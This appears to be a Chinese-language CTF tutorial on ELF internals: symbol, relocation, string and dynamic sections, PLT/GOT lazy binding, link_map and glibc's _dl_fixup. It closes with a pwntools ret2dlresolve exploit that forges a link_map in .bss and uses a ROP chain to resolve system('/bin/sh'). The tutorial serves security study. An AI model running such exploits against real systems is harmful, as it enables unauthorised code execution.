  • .rel.data.rela.data:数据重定位节(Relocation Section),用于存储数据段中的重定位信息,以便在链接时修正数据段中的符号引用。

  • .dynamic:动态节(Dynamic Section),用于存储程序的动态链接信息,包括动态链接器需要的重定位表、共享对象的名称、版本信息等。

  • .note:注释节(Note Section),用于存储与程序或库相关的注释或调试信息。

延迟绑定流程

plt与plt.sec

func@plt:
jmp [func@got.plt] ; 第一次跳转,直接跳转到 GOT 中存储的地址
push offset ; offset 为该函数在 GOT 中的索引,如果是第一次调用,GOT 中的地址指向下一条指令
jmp .plt[0] ; 跳转到 PLT 的“调度程序”

...

.plt[0]:
push QWORD PTR [rip+0x2fe2] # push link_map
bnd jmp QWORD PTR [rip+0x2fe3] # jmp _dl_runtime_resolve
nop DWORD PTR [rax]
func@plt.sec
endbr64
bnd jmp QWORD PTR [rip+0x2f9d] # <func@got.plt>
nop DWORD PTR [rax+rax*1+0x0]
pwndbg> plt
Section .plt 0x401020 - 0x401050:
No symbols found in section .plt
Section .plt.sec 0x401050 - 0x401070:
0x401050: setbuf@plt
0x401060: read@plt
pwndbg> x/32i 0x401020
0x401020: push QWORD PTR [rip+0x2fe2] # 0x404008
0x401026: bnd jmp QWORD PTR [rip+0x2fe3] # 0x404010
0x40102d: nop DWORD PTR [rax]
0x401030: endbr64
0x401034: push 0x0
0x401039: bnd jmp 0x401020
0x40103f: nop
0x401040: endbr64
0x401044: push 0x1
0x401049: bnd jmp 0x401020
0x40104f: nop
0x401050 <setbuf@plt>: endbr64
0x401054 <setbuf@plt+4>: bnd jmp QWORD PTR [rip+0x2fbd] # 0x404018 <setbuf@got.plt>
0x40105b <setbuf@plt+11>: nop DWORD PTR [rax+rax*1+0x0]
=> 0x401060 <read@plt>: endbr64
0x401064 <read@plt+4>: bnd jmp QWORD PTR [rip+0x2fb5] # 0x404020 <read@got.plt>
0x40106b <read@plt+11>: nop DWORD PTR [rax+rax*1+0x0]

got与got.plt

got.plt
(_GLOBAL_OFFSET_TABLE_) —▸ 0x403e20 (_DYNAMIC) ◂— 1
(_GLOBAL_OFFSET_TABLE_+8) —▸ 0x7ffff7ffe190(link_map) ◂— 0
(_GLOBAL_OFFSET_TABLE_+16) —▸ 0x7ffff7fe7bc0(_dl_runtime_resolve) ◂— endbr64
00:0000│     0x403ff0 —▸ 0x7d56930a2f90 (__libc_start_main) ◂— endbr64             # got
01:0008│ 0x403ff8 ◂— 0
02:0010│ 0x404000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x403e20 (_DYNAMIC) ◂— 1 # got.plt
03:0018│ 0x404008 (_GLOBAL_OFFSET_TABLE_+8) —▸ 0x7d56932a2190 ◂— 0
04:0020│ 0x404010 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0x7d569328bbc0 ◂— endbr64
05:0028│ 0x404018 (setbuf@got[plt]) —▸ 0x7d569310aad0 (setbuf) ◂— endbr64
06:0030│ 0x404020 (read@got[plt]) —▸ 0x401040 ◂— endbr64

.symtab

注意:符号表除了静态链接外没有用,但是程序为了方便调试会保留符号表,我们可以通过 strip + 程序名 的方式将符号表去除,这就是为什么有的 pwn 题的附件没有函数和变量名而有的却有。

ELF 文件中的符号表往往是文件中的一个段,段名一般叫 .symtab 。符号表是一个 Elf*_Sym 结构(32 位 ELF 文件)的数组,每个 Elf*_Sym 结构对应一个符号。

/* Symbol table entry.  */  

typedef struct
{
Elf32_Word st_name; /* Symbol name (string tbl index) */
Elf32_Addr st_value; /* Symbol value */
Elf32_Word st_size; /* Symbol size */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf32_Section st_shndx; /* Section index */
} Elf32_Sym;
  • st_name:符号名称在字符串表中的偏移量。

  • st_value:符号的值,即符号的地址或偏移量。

  • 如果该符号在目标文件中,如果是符号的定义并且该符号不是 COMMON 块类型的则 st_value 表示该符号在段中的偏移

  • 目标文件中,如果符号是 COMMON 块类型的则 st_value 表示该符号的对齐属性

  • 可执行文件中,st_value 表示符号的虚拟地址

  • st_size:符号的大小,如果符号是一个函数,则表示函数的大小。如果该值为 0 表示符号的大小为 0 或未知。

  • st_info:该字段是一个字节,包含符号的类型和绑定信息。符号类型包括函数、数据、对象等,符号绑定包括局部符号、全局符号、弱符号等。该字段的高 4 位表示符号的类型,低 4 位表示符号的绑定信息。

  • st_other:保留字段,通常为 0 。

  • st_shndx:通常为符号所在的索引。

  • 如果符号是一个常量,该字段为 SHN_ABS(初始值不为 0 的全局变量) 或 SHN_COMMON(初始值为 0 的全局变量)。

  • 如果该符号未定义但是在该文件中被引用到,说明该符号可能定义在其他目标文件中,则该字段为 SHN_UNDEF

.rel.text/.rel.data

重定位表是一个 Elf*_Rel 结构的数组,每个数组元素对应一个重定位入口。重定位表主要有.rel.text.rela.text,即代码重定位节(Relocation Section)和 .rel.data.rela.data:数据重定位节(Relocation Section)。

/* Relocation table entry without addend (in section of type SHT_REL).  */  

typedef struct
{
Elf32_Addr r_offset; /* Address */
Elf32_Word r_info; /* Relocation type and symbol index */
} Elf32_Rel;
  • r_offset:需要进行重定位的位置的偏移量或地址。这个位置通常是指令中的某个操作数或数据的地址,需要在链接时进行修正,以便正确地引用目标符号。

  • 对于可执行文件或共享库,r_offset 表示需要修改的位置在内存中的位置(用于动态链接)。

  • 对于可重定位文件r_offset 表示需要修改的位置相对于段起始位置的偏移(用于静态链接)。

  • r_info:低 8 位表示符号的重定位类型,重定位类型指定了进行何种类型的修正,例如绝对重定位、PC 相对重定位等。高 24 位表示该符号在符号表中的索引,用于解析重定位所引用的符号。

.strtab

  • ELF 文件中用到了很多字符串,比如段名、变量名等。因为字符串的长度往往是不定的,所以用固定的结构来表示它比较困难。一种很常见的做法是把字符串集中起来存放到一个表,然后使用字符串在表中的偏移来引用字符串。

  • 通过这种方法,在ELF文件中引用字符串只须给出一个数字下标即可,不用考虑字符串长度的问题。一般字符串表在ELF文件中也以段的形式保存,常见的段名为“.strtab”或“.shstrtab”。这两个字符串表分别为字符串表(String Table)和段表字符串表(Section Header String Table)。顾名思义,字符串表用来保存普通的字符串,比如符号的名字;段表字符串表用来保存段表中用到的字符串,最常见的就是段名(sh_name )。

  • 注意,在字符串表中的每个字符串的开头结尾都有一个 \x00 填充。例如: fake_dynstr = '\x00libc.so.6\x00_IO_stdin_used\x00stdin\x00strlen\x00read\x00stdout\x00setbuf\x00__libc_start_main\x00system\x00'

.dynamic

动态链接 ELF 中最重要的结构是 .dynamic 段,这个段里面保存了动态链接器所需要的基本信息,比如依赖于哪些共享对象、动态链接符号表的位置、动态链接重定位表的位置、共享对象初始化代码的地址等。.dynamic 段是由Elf*_Dyn 构成的结构体数组。

/* Dynamic section entry.  */  

typedef struct
{
Elf32_Sword d_tag; /* Dynamic entry type */
union
{
Elf32_Word d_val; /* Integer value */
Elf32_Addr d_ptr; /* Address value */
} d_un;
} Elf32_Dyn;

Elf32_Dyn 结构由一个类型值加上一个附加的数值或指针,对于不同的类型,后面附加的数值或者指针有着不同的含义。我们这里列举几个比较常见的类型值(这些值都是定义在 elf.h 里面的宏),

  • DT_SYMTAB:指定了符号表的地址,d_ptr 表示 .dynsym 的地址。

  • DT_STRTAB:指定了字符串表的地址,d_ptr 表示 .synstr 的地址。

  • DT_STRSZ:指定了字符串表的大小,d_val 表示大小。

  • DT_HASH:指定了符号哈希表的地址,用于加快符号查找的速度,d_ptr 表示 .hash 的地址。

  • DT_SONAME:指定了共享库的名称。

  • DT_RPATH:指定了库搜索路径(已废弃,不推荐使用)。

  • DT_INIT:指定了初始化函数的地址,动态链接器在加载可执行文件或共享库时会调用该函数。

  • DT_FINI:指定了终止函数的地址,动态链接器在程序结束时会调用该函数。

  • DT_NEEDED:指定了需要的共享库的名称。

  • DT_REL/DT_RELA:指定了重定位表的地址。

struct link_map
{
ElfW(Addr) l_addr; /* Difference between the address in the ELF
file and the addresses in memory. */
char *l_name; /* Absolute file name object was found in. */
ElfW(Dyn) *l_ld; /* Dynamic section of the shared object. */
struct link_map *l_next, *l_prev; /* Chain of loaded objects. */
...
ElfW(Dyn) *l_info[DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGNUM
+ DT_EXTRANUM + DT_VALNUM + DT_ADDRNUM];

link_map 是存储目标函数查询结果的一个结构体,我们主要关心 l_addrl_info 两个成员即可。

  • l_addr:目标函数所在 lib 的基址。

  • l_infoDyn 结构体指针,指向各种结构对应的 Dyn

  • l_info[DT_STRTAB]:即 l_info 数组第 5 项,指向 .dynstr 对应的 Dyn

  • l_info[DT_SYMTAB]:即 l_info 数组第 6 项,指向 Sym 对应的 Dyn

  • l_info[DT_JMPREL]:即 l_info 数组第 23 项,指向 Rel 对应的 Dyn

struct link_map {
Elf32_Addr l_addr;
char *l_name;
Elf32_Dyn *l_ld;
struct link_map *l_next;
struct link_map *l_prev;
struct link_map *l_real;
Lmid_t l_ns;
struct libname_list *l_libname;
Elf32_Dyn *l_info[76];//l_info 里面包含的就是动态链接的各个表的信息
const Elf32_Phdr *l_phdr;
Elf32_Addr l_entry;
Elf32_Half l_phnum;
... ...
}

dynamic 中的地址对应着 link_map 中l_info 相应的指针,可从link_map 取到dynamic 结构中.rel.plt .dynsym .dynstr对应的指针,为后来程序的执行提供各个节的基地址

_dl_runtime_resolve

typedef struct  
{
Elf64_Sxword d_tag; /* Dynamic entry type */
union
{
Elf64_Xword d_val; /* Integer value */
Elf64_Addr d_ptr; /* Address value */
} d_un;
} Elf64_Dyn;

typedef struct
{
Elf64_Word st_name; /* Symbol name (string tbl index) */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf64_Section st_shndx; /* Section index */
Elf64_Addr st_value; /* Symbol value */
Elf64_Xword st_size; /* Symbol size */
} Elf64_Sym;

typedef struct
{
Elf64_Addr r_offset; /* Address */
Elf64_Xword r_info; /* Relocation type and symbol index */
} Elf64_Rel;

typedef struct
{
Elf64_Addr r_offset; /* Address */
Elf64_Xword r_info; /* Relocation type and symbol index */
Elf64_Sxword r_addend; /* Addend */
} Elf64_Rela;

#define ELF64_R_SYM(i) ((i) >> 32)
#define ELF64_R_TYPE(i) ((i) & 0xffffffff)
#define ELF64_R_INFO(sym,type) ((((Elf64_Xword) (sym)) << 32) + (type))
_dl_fixup(truct link_map *l, ElfW(Word) reloc_arg) {
// 获取符号表地址
# define D_PTR(map, i) ((map)->i->d_un.d_ptr + (map)->l_addr)
const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
// 获取字符串表地址
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
// 获取函数对应的重定位表结构地址,sizeof (PLTREL) 即 Elf*_Rel 的大小。
#define reloc_offset reloc_arg * sizeof (PLTREL)
# define PLTREL ElfW(Rel)
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
// 获取函数对应的符号表结构地址
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
// 得到函数对应的got地址,即真实函数地址要填回的地址
void *const rel_addr = (void *) (l->l_addr + reloc->r_offset);
lookup_t result;
DL_FIXUP_VALUE_TYPE value;

// 判断重定位表的类型,必须要为 ELF_MACHINE_JMP_SLOT(7) 这里还会检查reloc->r_info的最低位是不是R_386_JUMP_SLOT=7
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);

/* Look up the target symbol. If the normal lookup rules are not
used don't look in the global scope. */
// ☆ 关键判断,决定目标函数地址的查找方法。☆
if (__builtin_expect(ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) {
const struct r_found_version *version = NULL;

if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) {
const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX(DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}

/* We need to keep the scope around so do some locking. This is
not necessary for objects which cannot be unloaded or when
we are not using any threads (yet). */
int flags = DL_LOOKUP_ADD_DEPENDENCY;
if (!RTLD_SINGLE_THREAD_P) {
THREAD_GSCOPE_SET_FLAG ();
flags |= DL_LOOKUP_GSCOPE_LOCK;
}

#ifdef RTLD_ENABLE_FOREIGN_CALL
RTLD_ENABLE_FOREIGN_CALL;
#endif
// 查找目标函数地址
// result 为 libc 的 link_map ,其中有 libc 的基地址。
// sym 指针指向 libc 中目标函数对应的符号表,其中有目标函数在 libc 中的偏移。
result = _dl_lookup_symbol_x(strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);

/* We are done with the global scope. */
if (!RTLD_SINGLE_THREAD_P)
THREAD_GSCOPE_RESET_FLAG ();

#ifdef RTLD_FINALIZE_FOREIGN_CALL
RTLD_FINALIZE_FOREIGN_CALL;
#endif

/* Currently result contains the base load address (or link map)
of the object that defines sym. Now add in the symbol
offset. */
// 基址 + 偏移算出目标函数地址 value
value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS(result) + sym->st_value) : 0);
} else {
/* We already found the symbol. The module (and therefore its load
address) is also known. */
// 这里认为 link_map 和 sym 中已经是目标函数的信息了,因此直接计算目标函数地址。
value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
result = l;
}

/* And now perhaps the relocation addend. */
value = elf_machine_plt_value(l, reloc, value);

if (sym != NULL
&& __builtin_expect(ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
value = elf_ifunc_invoke(DL_FIXUP_VALUE_ADDR (value));

/* Finally, fix up the plt itself. */
if (__glibc_unlikely (GLRO(dl_bind_not)))
return value;
// 更新 got 表
return elf_machine_fixup_plt(l, result, reloc, rel_addr, value);
}
p = start()
bss_addr = elf.bss()
new_stack = bss_addr + 0x200 # 新栈起始地址
read_plt = elf.plt['read']
plt0 = 0x401020
pop_rdi_ret = 0x40115e
pop_rsi_ret = 0x401160
resolve = 0x401026

bss = 0x404080
fake_link_map_addr = bss + 0x400
binsh = fake_link_map_addr + 0x50
offset = libc.sym['system'] - libc.sym['read'] # 选择一个已解析的函数
fake_link_map = p64(offset & 0xffffffffffffffff) # 需要这样调整一下否则 p64() 会报错
fake_link_map = fake_link_map.ljust(0x10, b'\x00') + p64(0) + p64(elf.got['read'] - 0x8)
fake_link_map = fake_link_map.ljust(0x20, b'\x00') + p64((bss - offset) & 0xffffffffffffffff) + p32(7) + p32(0)
fake_link_map = fake_link_map.ljust(0x40, b'\x00') + p64(0) + p64(fake_link_map_addr + 0x20)
fake_link_map = fake_link_map.ljust(0x50, b'\x00') + b'/bin/sh\x00'
fake_link_map = fake_link_map.ljust(0x68, b'\x00') + p64(bss) # l_info[5] -> 可读写地址即可
fake_link_map = fake_link_map.ljust(0x70, b'\x00') + p64(fake_link_map_addr + 0x10) # l_info[6]
fake_link_map = fake_link_map.ljust(0xf8, b'\x00') + p64(fake_link_map_addr + 0x40) # l_info[23]
# 此处 r_offset + l_addr 为可读写地址即可

payload = b'a'*0x78
payload += p64(pop_rdi_ret)
payload += p64(0)
payload += p64(pop_rsi_ret)
payload += p64(fake_link_map_addr)
payload += p64(read_plt)
payload += p64(pop_rdi_ret)
payload += p64(binsh)
payload += p64(resolve)
payload += p64(fake_link_map_addr)
payload += p64(0)

p.send(payload.ljust(0x100, b'\x00'))
p.send(fake_link_map.ljust(0x100, b'\x00'))

p.interactive()